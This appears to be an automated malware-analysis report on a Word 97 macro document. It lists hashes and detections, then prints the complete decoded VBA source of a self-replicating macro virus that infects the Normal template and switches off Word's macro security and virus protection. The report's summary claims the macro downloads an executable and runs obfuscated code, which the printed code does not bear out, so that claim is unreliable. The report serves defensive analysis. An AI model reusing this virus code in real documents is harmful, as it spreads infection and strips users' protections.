Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7ca8185062ce998b…

MALICIOUS

Office (OLE)

42.0 KB Created: 1999-11-24 09:41:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 367f55467c4727ba611e902704329a90 SHA-1: 6a292dccffa07c0f4b9445cae923dbad8c183ebf SHA-256: 7ca8185062ce998b5221e9af90198de886aa0b7e4b549b8fb83a9cce30cffc55
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious Office documents. The script attempts to modify macro security settings and execute obfuscated code. The ClamAV detection 'Doc.Trojan.Elf-2' suggests the macro is designed to download and execute a malicious executable.

Heuristics 3

  • ClamAV: Doc.Trojan.Elf-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Elf-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2287 bytes
SHA-256: 6df6f3a9cb06e1396ecba37cdfaaa6c212c80456da3f0267fa0a4cab8718432b
Detection
ClamAV: Doc.Trojan.Elf-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'
Private Sub Document_Open()
 On Error Resume Next
 Dim norm As Variant, code(21) As String
 Dim doc As Variant, bug As Variant
 norm = "c" & Int((Rnd * 1000) + 2)
 doc = "d" & Int((Rnd * 1000) + 2)
 bug = "b" & Int((Rnd * 1000) + 2)
 code(1) = "Set " & norm & " = NormalTemplate.VBProject.VBComponents(1).CodeModule"
 code(2) = "Set " & doc & " = ActiveDocument.VBProject.VBComponents(1).CodeModule"
 code(3) = "Set " & bug & " = new dataobject"
 code(4) = "If " & norm & ".lines(1, 1) <> ""'"" Then"
 code(5) = "With " & norm
 code(6) = ".DeleteLines 1, .CountOfLines"
 code(7) = "End With"
 code(8) = bug & ".SetText " & doc & ".lines(1, " & doc & ".CountOfLines): " & norm & ".InsertLines 1, " & bug & ".GetText(1)"
 code(9) = "End If"
 code(10) = "If " & doc & ".lines(1, 1) <> ""'"" Then"
 code(11) = "With " & doc
 code(12) = ".DeleteLines 1, .CountOfLines"
 code(13) = "End With"
 code(14) = bug & ".SetText " & norm & ".lines(1, " & norm & ".CountOfLines): " & doc & ".InsertLines 1, " & bug & ".GetText(1)"
 code(15) = "End if"
 code(16) = "" & norm & ".DeleteLines 34, 21"
 code(17) = "" & doc & ".DeleteLines 34, 21"
 code(18) = "If System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"", ""Level"") <> """" Then: CommandBars(""Macro"").Controls(""Security..."").Enabled = 0: System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"", ""Level"") = 1&"
 code(19) = "Options.ConfirmConversions = 0: Options.SaveNormalPrompt = 0: Options.VirusProtection = 0"
 code(20) = "ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument"
 For x = 1 To 20: codevx = codevx & code(x) & vbCr: Next x
  ThisDocument.VBProject.VBComponents(1).CodeModule.InsertLines 34, codevx
 Call Sprite
End Sub
Private Sub Sprite(): On Error Resume Next
End Sub
' Word 97/2k.Sprite
' Psyclone X
' My first try at POLYMORPHISM (If it could even be called that)
' I know it sucks but it'll get better

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